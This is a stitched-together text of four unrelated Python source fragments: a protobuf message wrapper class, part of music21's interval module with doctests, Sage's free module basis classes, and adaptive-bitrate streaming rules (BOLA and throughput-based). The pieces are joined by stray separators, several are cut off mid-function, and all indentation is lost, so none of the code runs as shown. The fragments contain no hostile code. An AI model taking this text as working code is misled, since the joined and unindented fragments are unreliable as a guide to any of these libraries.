elif isinstance(mapping, collections.abc.Mapping):
# Can't have side effects on mapping.
mapping = copy.copy(mapping)
# kwargs entries take priority for duplicate keys.
mapping.update(kwargs)
else:
# Sanity check: Did we get something not a map? Error if so.
raise TypeError(
"Invalid constructor input for %s: %r"
% (self.__class__.__name__, mapping,)
)
params = {}
# Update the mapping to address any values that need to be
# coerced.
marshal = self._meta.marshal
for key, value in mapping.items():
try:
pb_type = self._meta.fields[key].pb_type
except KeyError:
if ignore_unknown_fields:
continue
raise ValueError(
"Unknown field for {}: {}".format(self.__class__.__name__, key)
)
pb_value = marshal.to_proto(pb_type, value)
if pb_value is not None:
params[key] = pb_value
# Create the internal protocol buffer.
super().__setattr__("_pb", self._meta.pb(**params))
def __bool__(self):
"""Return True if any field is truthy, False otherwise."""
return any(k in self and getattr(self, k) for k in self._meta.fields.keys())
def __contains__(self, key):
"""Return True if this field was set to something non-zero on the wire.
In most cases, this method will return True when ``__getattr__``
would return a truthy value and False when it would return a falsy
value, so explicitly calling this is not useful.
The exception case is empty messages explicitly set on the wire,
which are falsy from ``__getattr__``. This method allows to
distinguish between an explicitly provided empty message and the
absence of that message, which is useful in some edge cases.
The most common edge case is the use of ``google.protobuf.BoolValue``
to get a boolean that distinguishes between ``False`` and ``None``
(or the same for a string, int, etc.). This library transparently
handles that case for you, but this method remains available to
accomodate cases not automatically covered.
Args:
key (str): The name of the field.
Returns:
bool: Whether the field's value corresponds to a non-empty
wire serialization.
"""
pb_value = getattr(self._pb, key)
try:
# Protocol buffers "HasField" is unfriendly; it only works
# against composite, non-repeated fields, and raises ValueError
# against any repeated field or primitive.
#
# There is no good way to test whether it is valid to provide
# a field to this method, so sadly we are stuck with a
# somewhat inefficient try/except.
return self._pb.HasField(key)
except ValueError:
return bool(pb_value)
def __delattr__(self, key):
"""Delete the value on the given field.
This is generally equivalent to setting a falsy value.
"""
self._pb.ClearField(key)
def __eq__(self, other):
"""Return True if the messages are equal, False otherwise."""
# If these are the same type, use internal protobuf's equality check.
if isinstance(other, type(self)):
return self._pb == other._pb
# If the other type is the target protobuf object, honor that also.
if isinstance(other, self._meta.pb):
return self._pb == other
# Ask the other object.
return NotImplemented
def __getattr__(self, key):
"""Retrieve the given field's value.
In protocol buffers, the presence of a field on a message is
sufficient for it to always be "present".
For primitives, a value of the correct type will always be returned
(the "falsy" values in protocol buffers consistently match those
in Python). For repeated fields, the falsy value is always an empty
sequence.
For messages, protocol buffers does distinguish between an empty
message and absence, but this distinction is subtle and rarely
relevant. Therefore, this method always returns an empty message
(following the official implementation). To check for message
presence, use ``key in self`` (in other words, ``__contains__``).
.. note::
Some well-known protocol buffer types
(e.g. ``google.protobuf.Timestamp``) will be converted to
their Python equivalents. See the ``marshal`` module for
more details.
"""
try:
pb_type = self._meta.fields[key].pb_type
pb_value = getattr(self._pb, key)
marshal = self._meta.marshal
return marshal.to_python(pb_type, pb_value, absent=key not in self)
except KeyError as ex:
raise | |
interval.GenericInterval('descending fifth')
>>> bInterval = interval.ChromaticInterval(-8)
>>> cInterval = interval.intervalFromGenericAndChromatic(aInterval, bInterval)
>>> cInterval
<music21.interval.Interval A-5>
>>> cInterval.name
'A5'
>>> cInterval.directedName
'A-5'
>>> cInterval.directedNiceName
'Descending Augmented Fifth'
>>> interval.intervalFromGenericAndChromatic(3, 4)
<music21.interval.Interval M3>
>>> interval.intervalFromGenericAndChromatic(3, 3)
<music21.interval.Interval m3>
>>> interval.intervalFromGenericAndChromatic(5, 6)
<music21.interval.Interval d5>
>>> interval.intervalFromGenericAndChromatic(5, 5)
<music21.interval.Interval dd5>
>>> interval.intervalFromGenericAndChromatic(-2, -2)
<music21.interval.Interval M-2>
>>> interval.intervalFromGenericAndChromatic(1, 0.5)
<music21.interval.Interval A1 (-50c)>
'''
if common.isNum(gInt):
gInt = GenericInterval(gInt)
if common.isNum(cInt):
cInt = ChromaticInterval(cInt)
specifier = _getSpecifierFromGenericChromatic(gInt, cInt)
dInt = DiatonicInterval(specifier, gInt)
return Interval(diatonic=dInt, chromatic=cInt)
#-------------------------------------------------------------------------------
# store implicit diatonic if set from chromatic specification
# if implicit, turing transpose, set to simplifyEnharmonic
class Interval(IntervalBase):
'''
An Interval class that encapsulates both :class:`~music21.interval.ChromaticInterval` and
:class:`~music21.interval.DiatonicInterval` objects all in one model.
The interval is specified either as named arguments, a
:class:`~music21.interval.DiatonicInterval` and
a :class:`~music21.interval.ChromaticInterval`,
or two :class:`~music21.note.Note` objects (or :class:`~music21.interval.Pitch` objects),
from which both a ChromaticInterval and DiatonicInterval are derived.
>>> n1 = note.Note('c3')
>>> n2 = note.Note('c5')
>>> aInterval = interval.Interval(noteStart=n1, noteEnd=n2)
>>> aInterval
<music21.interval.Interval P15>
>>> aInterval.name
'P15'
>>> aInterval.noteStart is n1
True
>>> aInterval.noteEnd is n2
True
Reduce to less than an octave:
>>> aInterval.simpleName
'P1'
Reduce to no more than an octave:
>>> aInterval.semiSimpleName
'P8'
An interval can also be specified directly
>>> aInterval = interval.Interval('m3')
>>> aInterval
<music21.interval.Interval m3>
>>> aInterval = interval.Interval('M3')
>>> aInterval
<music21.interval.Interval M3>
>>> aInterval = interval.Interval('p5')
>>> aInterval
<music21.interval.Interval P5>
>>> aInterval.isChromaticStep
False
>>> aInterval.isDiatonicStep
False
>>> aInterval.isStep
False
>>> aInterval = interval.Interval('half')
>>> aInterval
<music21.interval.Interval m2>
>>> aInterval.isChromaticStep
True
>>> aInterval.isDiatonicStep
True
>>> aInterval.isStep
True
>>> aInterval = interval.Interval('-h')
>>> aInterval
<music21.interval.Interval m-2>
>>> aInterval.directedName
'm-2'
>>> aInterval.name
'm2'
A single int is treated as a number of half-steps:
>>> aInterval = interval.Interval(4)
>>> aInterval
<music21.interval.Interval M3>
>>> aInterval = interval.Interval(7)
>>> aInterval
<music21.interval.Interval P5>
If giving a starting note, an ending note has to be specified.
>>> aInterval = interval.Interval(noteStart=n1, noteEnd=None)
Traceback (most recent call last):
music21.interval.IntervalException: either both the starting and the ending note must
be given or neither can be given. You cannot have one without the other.
An Interval can be constructed from a Diatonic and Chromatic Interval object (or just one)
>>> diaInterval = interval.DiatonicInterval('major', 'third')
>>> chrInterval = interval.ChromaticInterval(4)
>>> fullInterval = interval.Interval(diatonic=diaInterval, chromatic=chrInterval)
>>> fullInterval
<music21.interval.Interval M3>
>>> fullInterval = interval.Interval(diatonic=diaInterval)
>>> fullInterval.semitones
4
>>> fullInterval = interval.Interval(chromatic=chrInterval)
>>> fullInterval.diatonic.name
'M3'
>>> fullInterval.implicitDiatonic
True
Two Intervals are the same if their Chromatic and Diatonic intervals
are the same. N.B. that interval.Interval('a4') != 'a4'
OMIT_FROM_DOCS
>>> aInterval = interval.Interval('M2')
>>> aInterval.isChromaticStep
False
>>> aInterval.isDiatonicStep
True
>>> aInterval.isStep
True
>>> aInterval = interval.Interval('dd3')
>>> aInterval.isChromaticStep
True
>>> aInterval.isDiatonicStep
False
>>> aInterval.isStep
True
'''
# requires either (1) a string ('P5' etc.) or
# (2) named arguments:
# (2a) either both of
# diatonic = DiatonicInterval object
# chromatic = ChromaticInterval object
# (2b) or both of
# _noteStart = Pitch (or Note) object
# _noteEnd = Pitch (or Note) object
# in which case it figures out the diatonic and chromatic intervals itself
def __init__(self, *arguments, **keywords):
super().__init__()
self.diatonic = None
self.chromatic = None
self.direction = None
self.generic = None
# these can be accessed through noteStart and noteEnd properties
self._noteStart = None
self._noteEnd = None
self.type = '' # harmonic or melodic
self.diatonicType = 0
self.niceName = ''
self.implicitDiatonic = False # is this basically a ChromaticInterval object in disguise?
if len(arguments) == 1 and isinstance(arguments[0], str):
# convert common string representations
dInterval, cInterval = _stringToDiatonicChromatic(arguments[0])
self.diatonic = dInterval
self.chromatic = cInterval
# if we get a first argument that is a number, treat it as a chromatic
# interval creation argument
elif len(arguments) == 1 and common.isNum(arguments[0]):
self.chromatic = ChromaticInterval(arguments[0])
# permit pitches instead of Notes
# this requires importing note, which is a bit circular, but necessary
elif (len(arguments) == 2
and hasattr(arguments[0], 'classes')
and hasattr(arguments[1], 'classes')
and 'Pitch' in arguments[0].classes
and 'Pitch' in arguments[1].classes):
from music21 import note
self._noteStart = note.Note()
self._noteStart.pitch = arguments[0]
self._noteEnd = note.Note()
self._noteEnd.pitch = arguments[1]
elif (len(arguments) == 2
and hasattr(arguments[0], 'isNote')
and hasattr(arguments[1], 'isNote')
and arguments[0].isNote is True
and arguments[1].isNote is True):
self._noteStart = arguments[0]
self._noteEnd = arguments[1]
else:
if 'diatonic' in keywords:
self.diatonic = keywords['diatonic']
if 'chromatic' in keywords:
self.chromatic = keywords['chromatic']
if 'noteStart' in keywords:
self._noteStart = keywords['noteStart']
if 'noteEnd' in keywords:
self._noteEnd = keywords['noteEnd']
# this method will check for incorrectly defined attributes
self.reinit()
def reinit(self):
'''
Reinitialize the internal interval objects in case something has changed.
Called during __init__ to assign attributes.
'''
# catch case where only one Note is provided
if ((self._noteStart is not None and self._noteEnd is None) or
(self._noteEnd is not None and self._noteStart is None)):
raise IntervalException('either both the starting and the ending note must be ' +
'given or neither can be given. You cannot have one without the other.')
if self._noteStart is not None and self._noteEnd is not None:
genericInterval = notesToGeneric(self._noteStart, self._noteEnd)
chromaticInterval = notesToChromatic(self._noteStart, self._noteEnd)
diatonicInterval = intervalsToDiatonic(genericInterval, chromaticInterval)
self.diatonic = diatonicInterval
self.chromatic = chromaticInterval
if self.chromatic is not None and self.diatonic is None:
self.diatonic = self.chromatic.getDiatonic()
self.implicitDiatonic = True
if self.diatonic is not None and self.chromatic is None:
self.chromatic = self.diatonic.getChromatic()
if self.chromatic is not None:
self.direction = self.chromatic.direction
elif self.diatonic is not None:
self.direction = self.diatonic.generic.direction
# both self.diatonic and self.chromatic can still both be None if an
# empty Interval class is being created, such as in deepcopy
if self.diatonic is not None:
self.specifier = self.diatonic.specifier
self.diatonicType = self.diatonic.specifier
self.specificName = self.diatonic.specificName
self.generic = self.diatonic.generic
self.name = self.diatonic.name
self.niceName = self.diatonic.niceName
self.simpleName = self.diatonic.simpleName
self.simpleNiceName = self.diatonic.simpleNiceName
self.semiSimpleName = self.diatonic.semiSimpleName
self.semiSimpleNiceName = self.diatonic.semiSimpleNiceName
self.directedName = self.diatonic.directedName
self.directedNiceName = self.diatonic.directedNiceName
self.directedSimpleName = self.diatonic.directedSimpleName
self.directedSimpleNiceName = self.diatonic.directedSimpleNiceName
self.isDiatonicStep = self.diatonic.isDiatonicStep
else:
self.isDiatonicStep = False
if self.chromatic is not None:
self.isChromaticStep = self.chromatic.isChromaticStep
self.semitones = self.chromatic.semitones
else:
self.isChromaticStep = False
self.isStep = self.isChromaticStep or self.isDiatonicStep
def __repr__(self):
from music21 import pitch
shift = self._diatonicIntervalCentShift()
if shift != 0:
micro = pitch.Microtone(shift)
return '<music21.interval.Interval %s %s>' % (self.directedName, micro)
else:
return '<music21.interval.Interval %s>' % self.directedName
def isConsonant(self):
'''
returns True if the pitches are a major or minor third or sixth or perfect fifth or unison.
These rules define all common-practice consonances (and earlier back to about
1300 all imperfect consonances)
>>> i1 = interval.Interval(note.Note('C'), note.Note('E'))
>>> i1.isConsonant()
True
>>> i1 = interval.Interval(note.Note('B-'), note.Note('C'))
>>> i1.isConsonant()
False
'''
if self.simpleName in ('P5', 'm3', 'M3', 'm6', 'M6', 'P1'):
return True
else:
return False
def __eq__(self, other):
'''
>>> a = interval.Interval('a4')
>>> b = interval.Interval('d5')
>>> c = interval.Interval('m3')
>>> d = interval.Interval('d5')
>>> a == b
False
>>> b == d
True
>>> a == c
False
>>> b in [a, c, d]
True
Now, of course, this makes sense:
>>> a == 'hello'
False
But note well that this is also a False expression:
>>> a == 'a4'
False
'''
if other is None:
return False
elif not hasattr(other, 'diatonic') or not hasattr(other, 'chromatic'):
return False
if (self.diatonic == other.diatonic
and self.chromatic == other.chromatic):
return True
else:
return False
@property
def complement(self):
'''
Return a new :class:`~music21.interval.Interval` object that is the
complement of this Interval.
>>> aInterval = interval.Interval('M3')
>>> bInterval = aInterval.complement
>>> bInterval
<music21.interval.Interval m6>
>>> cInterval = interval.Interval('A2')
>>> dInterval = cInterval.complement
>>> dInterval
<music21.interval.Interval d7>
'''
return Interval(self.diatonic.mod7inversion)
@property
def intervalClass(self):
'''
Return the interval class from the chromatic interval,
that is, the lesser of the number of half-steps in the
simpleInterval or its complement.
>>> aInterval = interval.Interval('M3')
>>> aInterval.intervalClass
4
>>> bInterval = interval.Interval('m6')
>>> bInterval.intervalClass
4
'''
return self.chromatic.intervalClass
@property
def cents(self):
'''
Return the cents from the chromatic interval, where 100 cents = a half-step
>>> aInterval = interval.Interval('M3')
>>> aInterval.cents
400.0
>>> n1 = note.Note('C4')
>>> n2 = note.Note('D4')
>>> n2.pitch.microtone = 30
>>> microtoneInterval = interval.Interval(noteStart=n1, noteEnd=n2)
>>> microtoneInterval.cents
230.0
'''
return self.chromatic.cents
def _diatonicIntervalCentShift(self):
'''
Return the number of cents | |
<reponame>defeo/sage<gh_stars>0
r"""
Free module bases
The class :class:`FreeModuleBasis` implements bases on a free module `M` of
finite rank over a commutative ring,
while the class :class:`FreeModuleCoBasis` implements the dual bases (i.e.
bases of the dual module `M^*`).
AUTHORS:
- <NAME>, <NAME> (2014-2015): initial version
REFERENCES:
- Chap. 10 of R. Godement : *Algebra*, Hermann (Paris) / Houghton Mifflin
(Boston) (1968)
- Chap. 3 of S. Lang : *Algebra*, 3rd ed., Springer (New York) (2002)
"""
from __future__ import absolute_import
#******************************************************************************
# Copyright (C) 2015 <NAME> <<EMAIL>>
# Copyright (C) 2015 <NAME> <<EMAIL>>
#
# Distributed under the terms of the GNU General Public License (GPL)
# as published by the Free Software Foundation; either version 2 of
# the License, or (at your option) any later version.
# http://www.gnu.org/licenses/
#******************************************************************************
from sage.structure.unique_representation import UniqueRepresentation
from sage.structure.sage_object import SageObject
from sage.categories.finite_enumerated_sets import FiniteEnumeratedSets
class Basis_abstract(UniqueRepresentation, SageObject):
"""
Abstract base class for (dual) bases of free modules.
"""
def __init__(self, fmodule, symbol, latex_symbol, latex_name):
"""
Initialize ``self``.
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e._fmodule is M
True
"""
self._symbol = symbol
self._latex_symbol = latex_symbol
self._latex_name = latex_name
self._fmodule = fmodule
def __iter__(self):
r"""
Return the list of basis elements of ``self``.
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: list(e)
[Element e_0 of the Rank-3 free module M over the Integer Ring,
Element e_1 of the Rank-3 free module M over the Integer Ring,
Element e_2 of the Rank-3 free module M over the Integer Ring]
sage: ed = e.dual_basis()
sage: list(ed)
[Linear form e^0 on the Rank-3 free module M over the Integer Ring,
Linear form e^1 on the Rank-3 free module M over the Integer Ring,
Linear form e^2 on the Rank-3 free module M over the Integer Ring]
"""
for i in range(self._fmodule._rank):
yield self[i]
def __len__(self):
r"""
Return the basis length, i.e. the rank of the free module.
NB: the method ``__len__()`` is required for the basis to act as a
"frame" in the class :class:`~sage.tensor.modules.comp.Components`.
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e.__len__()
3
sage: len(e)
3
"""
return self._fmodule._rank
def _latex_(self):
r"""
Return a LaTeX representation of ``self``.
EXAMPLES::
sage: FiniteRankFreeModule._clear_cache_() # for doctests only
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e._latex_()
'\\left(e_0,e_1,e_2\\right)'
sage: latex(e)
\left(e_0,e_1,e_2\right)
sage: f = M.basis('eps', latex_symbol=r'\epsilon')
sage: f._latex_()
'\\left(\\epsilon_0,\\epsilon_1,\\epsilon_2\\right)'
sage: latex(f)
\left(\epsilon_0,\epsilon_1,\epsilon_2\right)
::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: f = e.dual_basis()
sage: f._latex_()
'\\left(e^0,e^1,e^2\\right)'
"""
return self._latex_name
def free_module(self):
"""
Return the free module of ``self``.
EXAMPLES::
sage: M = FiniteRankFreeModule(QQ, 2, name='M', start_index=1)
sage: e = M.basis('e')
sage: e.free_module() is M
True
"""
return self._fmodule
class FreeModuleBasis(Basis_abstract):
r"""
Basis of a free module over a commutative ring `R`.
INPUT:
- ``fmodule`` -- free module `M` (as an instance of
:class:`FiniteRankFreeModule`)
- ``symbol`` -- string; a letter (of a few letters) to denote a generic
element of the basis
- ``latex_symbol`` -- (default: ``None``) string; symbol to denote a
generic element of the basis; if ``None``, the value of ``symbol``
is used
EXAMPLES:
A basis on a rank-3 free module over `\ZZ`::
sage: M0 = FiniteRankFreeModule(ZZ, 3, name='M_0')
sage: from sage.tensor.modules.free_module_basis import FreeModuleBasis
sage: e = FreeModuleBasis(M0, 'e') ; e
Basis (e_0,e_1,e_2) on the Rank-3 free module M_0 over the Integer Ring
Instead of importing FreeModuleBasis in the global name space, it is
recommended to use the module's method
:meth:`~sage.tensor.modules.finite_rank_free_module.FiniteRankFreeModule.basis`::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e') ; e
Basis (e_0,e_1,e_2) on the Rank-3 free module M over the Integer Ring
The individual elements constituting the basis are accessed via the
square bracket operator::
sage: e[0]
Element e_0 of the Rank-3 free module M over the Integer Ring
sage: e[0] in M
True
The LaTeX symbol can be set explicitely, as the second argument of
:meth:`~sage.tensor.modules.finite_rank_free_module.FiniteRankFreeModule.basis`::
sage: latex(e)
\left(e_0,e_1,e_2\right)
sage: eps = M.basis('eps', r'\epsilon') ; eps
Basis (eps_0,eps_1,eps_2) on the Rank-3 free module M over the Integer
Ring
sage: latex(eps)
\left(\epsilon_0,\epsilon_1,\epsilon_2\right)
The individual elements of the basis are labelled according the
parameter ``start_index`` provided at the free module construction::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M', start_index=1)
sage: e = M.basis('e') ; e
Basis (e_1,e_2,e_3) on the Rank-3 free module M over the Integer Ring
sage: e[1]
Element e_1 of the Rank-3 free module M over the Integer Ring
"""
@staticmethod
def __classcall_private__(cls, fmodule, symbol, latex_symbol=None):
"""
Normalize input to ensure a unique representation.
TESTS::
sage: from sage.tensor.modules.free_module_basis import FreeModuleBasis
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = FreeModuleBasis(M, 'e', latex_symbol='e')
sage: e is FreeModuleBasis(M, 'e')
True
"""
if latex_symbol is None:
latex_symbol = symbol
return super(FreeModuleBasis, cls).__classcall__(cls, fmodule, symbol, latex_symbol)
def __init__(self, fmodule, symbol, latex_symbol=None):
r"""
Initialize ``self``.
TESTS::
sage: FiniteRankFreeModule._clear_cache_() # for doctests only
sage: from sage.tensor.modules.free_module_basis import FreeModuleBasis
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = FreeModuleBasis(M, 'e', latex_symbol=r'\epsilon')
sage: TestSuite(e).run()
"""
if latex_symbol is None:
latex_symbol = symbol
self._name = "(" + \
",".join([symbol + "_" + str(i) for i in fmodule.irange()]) +")"
latex_name = r"\left(" + ",".join([latex_symbol + "_" + str(i)
for i in fmodule.irange()]) + r"\right)"
Basis_abstract.__init__(self, fmodule, symbol, latex_symbol, latex_name)
# The basis is added to the module list of bases
for other in fmodule._known_bases:
if symbol == other._symbol:
raise ValueError("the {} already exist on the {}".format(other, fmodule))
fmodule._known_bases.append(self)
# The individual vectors:
vl = list()
for i in fmodule.irange():
v_name = symbol + "_" + str(i)
v_symb = latex_symbol + "_" + str(i)
v = fmodule.element_class(fmodule, name=v_name, latex_name=v_symb)
for j in fmodule.irange():
v.set_comp(self)[j] = fmodule._ring.zero()
v.set_comp(self)[i] = fmodule._ring.one()
vl.append(v)
self._vec = tuple(vl)
# The first defined basis is considered as the default one:
if fmodule._def_basis is None:
fmodule._def_basis = self
# Initialization of the components w.r.t the current basis of the zero
# elements of all tensor modules constructed up to now (including the
# base module itself, since it is considered as a type-(1,0) tensor
# module)
for t in fmodule._tensor_modules.itervalues():
t._zero_element._components[self] = t._zero_element._new_comp(self)
# (since new components are initialized to zero)
# Initialization of the components w.r.t the current basis of the zero
# elements of all exterior powers constructed up to now
for t in fmodule._dual_exterior_powers.itervalues():
t._zero_element._components[self] = t._zero_element._new_comp(self)
# (since new components are initialized to zero)
# The dual basis:
self._dual_basis = self._init_dual_basis()
###### Methods to be redefined by derived classes of FreeModuleBasis ######
def _repr_(self):
r"""
Return a string representation of ``self``.
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e
Basis (e_0,e_1,e_2) on the Rank-3 free module M over the Integer Ring
sage: M1 = FiniteRankFreeModule(ZZ, 3, name='M', start_index=1)
sage: e1 = M1.basis('e')
sage: e1
Basis (e_1,e_2,e_3) on the Rank-3 free module M over the Integer Ring
"""
return "Basis {} on the {}".format(self._name, self._fmodule)
def _init_dual_basis(self):
r"""
Construct the basis dual to ``self``.
OUTPUT:
- instance of :class:`FreeModuleCoBasis` representing the dual of
``self``
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e._init_dual_basis()
Dual basis (e^0,e^1,e^2) on the Rank-3 free module M over the Integer Ring
"""
return FreeModuleCoBasis(self, self._symbol,
latex_symbol=self._latex_symbol)
def _new_instance(self, symbol, latex_symbol=None):
r"""
Construct a new basis on the same module as ``self``.
INPUT:
- ``symbol`` -- string; a letter (of a few letters) to denote a
generic element of the basis
- ``latex_symbol`` -- (default: ``None``) string; symbol to denote a
generic element of the basis; if ``None``, the value of ``symbol``
is used
OUTPUT:
- instance of :class:`FreeModuleBasis`
EXAMPLES::
sage: M = FiniteRankFreeModule(ZZ, 3, name='M')
sage: e = M.basis('e')
sage: e._new_instance('f')
Basis (f_0,f_1,f_2) on the Rank-3 free module M over the Integer Ring
"""
return FreeModuleBasis(self._fmodule, symbol, latex_symbol=latex_symbol)
###### End of methods to be redefined by derived classes ######
def dual_basis(self):
r"""
Return the basis dual to ``self``.
OUTPUT:
- instance of :class:`FreeModuleCoBasis` representing the dual of
``self``
EXAMPLES:
Dual basis on a rank-3 free module::
sage: M = FiniteRankFreeModule(ZZ, 3, | |
score:
quality = q
score = s
return quality
def quality_from_buffer_placeholder(self):
return self.quality_from_buffer(get_buffer_level() + self.placeholder)
def min_buffer_for_quality(self, quality):
global manifest
bitrate = manifest.bitrates[quality]
utility = self.utilities[quality]
level = 0
for q in range(quality):
# for each bitrates[q] less than bitrates[quality],
# BOLA should prefer bitrates[quality]
# (unless bitrates[q] has higher utility)
if self.utilities[q] < self.utilities[quality]:
b = manifest.bitrates[q]
u = self.utilities[q]
l = self.Vp * (self.gp + (bitrate * u - b * utility) / (bitrate - b))
level = max(level, l)
return level
def max_buffer_for_quality(self, quality):
return self.Vp * (self.utilities[quality] + self.gp)
def get_quality_delay(self, segment_index):
global buffer_contents
global buffer_fcc
global throughput
buffer_level = get_buffer_level()
if self.state == BolaEnh.State.STARTUP:
if throughput == None:
return (self.last_quality, 0)
self.state = BolaEnh.State.STEADY
self.ibr_safety = BolaEnh.low_buffer_safety_factor_init
quality = self.quality_from_throughput(throughput)
self.placeholder = self.min_buffer_for_quality(quality) - buffer_level
self.placeholder = max(0, self.placeholder)
return (quality, 0)
quality = self.quality_from_buffer_placeholder()
quality_t = self.quality_from_throughput(throughput)
if quality > self.last_quality and quality > quality_t:
quality = max(self.last_quality, quality_t)
if not self.abr_osc:
quality += 1
max_level = self.max_buffer_for_quality(quality)
################
if quality > 0:
q = quality
b = manifest.bitrates[q]
u = self.utilities[q]
qq = q - 1
bb = manifest.bitrates[qq]
uu = self.utilities[qq]
#max_level = self.Vp * (self.gp + (b * uu - bb * u) / (b - bb))
################
delay = buffer_level + self.placeholder - max_level
if delay > 0:
if delay <= self.placeholder:
self.placeholder -= delay
delay = 0
else:
delay -= self.placeholder
self.placeholder = 0
else:
delay = 0
if quality == len(manifest.bitrates) - 1:
delay = 0
# insufficient buffer rule
if not self.no_ibr:
safe_size = self.ibr_safety * (buffer_level - latency) * throughput
self.ibr_safety *= BolaEnh.low_buffer_safety_factor_init
self.ibr_safety = max(self.ibr_safety, BolaEnh.low_buffer_safety_factor)
for q in range(quality):
if manifest.bitrates[q + 1] * manifest.segment_time > safe_size:
#print('InsufficientBufferRule %d -> %d' % (quality, q))
quality = q
delay = 0
min_level = self.min_buffer_for_quality(quality)
max_placeholder = max(0, min_level - buffer_level)
self.placeholder = min(max_placeholder, self.placeholder)
break
#print('ph=%d' % self.placeholder)
return (quality, delay)
def report_delay(self, delay):
self.placeholder += delay
def report_download(self, metrics, is_replacment):
global manifest
self.last_quality = metrics.quality
level = get_buffer_level()
if metrics.abandon_to_quality == None:
if is_replacment:
self.placeholder += manifest.segment_time
else:
# make sure placeholder is not too large relative to download
level_was = level + metrics.time
max_effective_level = self.max_buffer_for_quality(metrics.quality)
max_placeholder = max(0, max_effective_level - level_was)
self.placeholder = min(self.placeholder, max_placeholder)
# make sure placeholder not too small (can happen when decision not taken by BOLA)
if level > 0:
# we don't want to inflate placeholder when rebuffering
min_effective_level = self.min_buffer_for_quality(metrics.quality)
# min_effective_level < max_effective_level
min_placeholder = min_effective_level - level_was
self.placeholder = max(self.placeholder, min_placeholder)
# else: no need to deflate placeholder for 0 buffer - empty buffer handled
elif not is_replacment: # do nothing if we abandoned a replacement
# abandonment indicates something went wrong - lower placeholder to conservative level
if metrics.abandon_to_quality > 0:
want_level = self.min_buffer_for_quality(metrics.abandon_to_quality)
else:
want_level = BolaEnh.minimum_buffer
max_placeholder = max(0, want_level - level)
self.placeholder = min(self.placeholder, max_placeholder)
def report_seek(self, where):
# TODO: seek properly
self.state = BolaEnh.State.STARTUP
def check_abandon(self, progress, buffer_level):
global manifest
remain = progress.size - progress.downloaded
if progress.downloaded <= 0 or remain <= 0:
return None
# abandon leads to new latency, so estimate what current status is after latency
bl = max(0, buffer_level + self.placeholder - progress.time_to_first_bit)
tp = progress.downloaded / (progress.time - progress.time_to_first_bit)
sz = remain - progress.time_to_first_bit * tp
if sz <= 0:
return None
abandon_to = None
score = (self.Vp * (self.gp + self.utilities[progress.quality]) - bl) / sz
for q in range(progress.quality):
other_size = progress.size * manifest.bitrates[q] / manifest.bitrates[progress.quality]
other_score = (self.Vp * (self.gp + self.utilities[q]) - bl) / other_size
if other_size < sz and other_score > score:
# check size:
# if remaining bits in this download are less than new download, why switch?
# IMPORTANT: this check is NOT subsumed in score check:
# if sz < other_size and bl is large, original score suffers larger penalty
#print('abandon bl=%d=%d+%d-%d %d->%d score:%d->%s' % (progress.quality, bl, buffer_level, self.placeholder, progress.time_to_first_bit, q, score, other_score))
score = other_score
abandon_to = q
return abandon_to
abr_list['bolae'] = BolaEnh
abr_default = 'bolae'
class ThroughputRule(Abr):
safety_factor = 0.9
low_buffer_safety_factor = 0.5
low_buffer_safety_factor_init = 0.9
abandon_multiplier = 1.8
abandon_grace_time = 500
def __init__(self, config):
self.ibr_safety = ThroughputRule.low_buffer_safety_factor_init
self.no_ibr = config['no_ibr']
def get_quality_delay(self, segment_index):
global manifest
quality = self.quality_from_throughput(throughput * ThroughputRule.safety_factor)
if not self.no_ibr:
# insufficient buffer rule
safe_size = self.ibr_safety * (get_buffer_level() - latency) * throughput
self.ibr_safety *= ThroughputRule.low_buffer_safety_factor_init
self.ibr_safety = max(self.ibr_safety, ThroughputRule.low_buffer_safety_factor)
for q in range(quality):
if manifest.bitrates[q + 1] * manifest.segment_time > safe_size:
quality = q
break
return (quality, 0)
def check_abandon(self, progress, buffer_level):
global manifest
quality = None # no abandon
dl_time = progress.time - progress.time_to_first_bit
if progress.time >= ThroughputRule.abandon_grace_time and dl_time > 0:
tput = progress.downloaded / dl_time
size_left = progress.size - progress.downloaded
estimate_time_left = size_left / tput
if (progress.time + estimate_time_left >
ThroughputRule.abandon_multiplier * manifest.segment_time):
quality = self.quality_from_throughput(tput * ThroughputRule.safety_factor)
estimate_size = (progress.size *
manifest.bitrates[quality] / manifest.bitrates[progress.quality])
if quality >= progress.quality or estimate_size >= size_left:
quality = None
return quality
abr_list['throughput'] = ThroughputRule
class Dynamic(Abr):
low_buffer_threshold = 10000
def __init__(self, config):
global manifest
self.bola = Bola(config)
self.tput = ThroughputRule(config)
self.is_bola = False
def get_quality_delay(self, segment_index):
level = get_buffer_level()
b = self.bola.get_quality_delay(segment_index)
t = self.tput.get_quality_delay(segment_index)
if self.is_bola:
if level < Dynamic.low_buffer_threshold and b[0] < t[0]:
self.is_bola = False
else:
if level > Dynamic.low_buffer_threshold and b[0] >= t[0]:
self.is_bola = True
return b if self.is_bola else t
def get_first_quality(self):
if self.is_bola:
return self.bola.get_first_quality()
else:
return self.tput.get_first_quality()
def report_delay(self, delay):
self.bola.report_delay(delay)
self.tput.report_delay(delay)
def report_download(self, metrics, is_replacment):
self.bola.report_download(metrics, is_replacment)
self.tput.report_download(metrics, is_replacment)
if is_replacment:
self.is_bola = False
def check_abandon(self, progress, buffer_level):
if False and self.is_bola:
return self.bola.check_abandon(progress, buffer_level)
else:
return self.tput.check_abandon(progress, buffer_level)
abr_list['dynamic'] = Dynamic
class DynamicDash(Abr):
def __init__(self, config):
global manifest
self.bola = BolaEnh(config)
self.tput = ThroughputRule(config)
buffer_size = config['buffer_size']
self.low_threshold = (buffer_size - manifest.segment_time) / 2
self.high_threshold = (buffer_size - manifest.segment_time) - 100
self.low_threshold = 5000
self.high_threshold = 10000
######################## TODO
self.is_bola = False
def get_quality_delay(self, segment_index):
level = get_buffer_level()
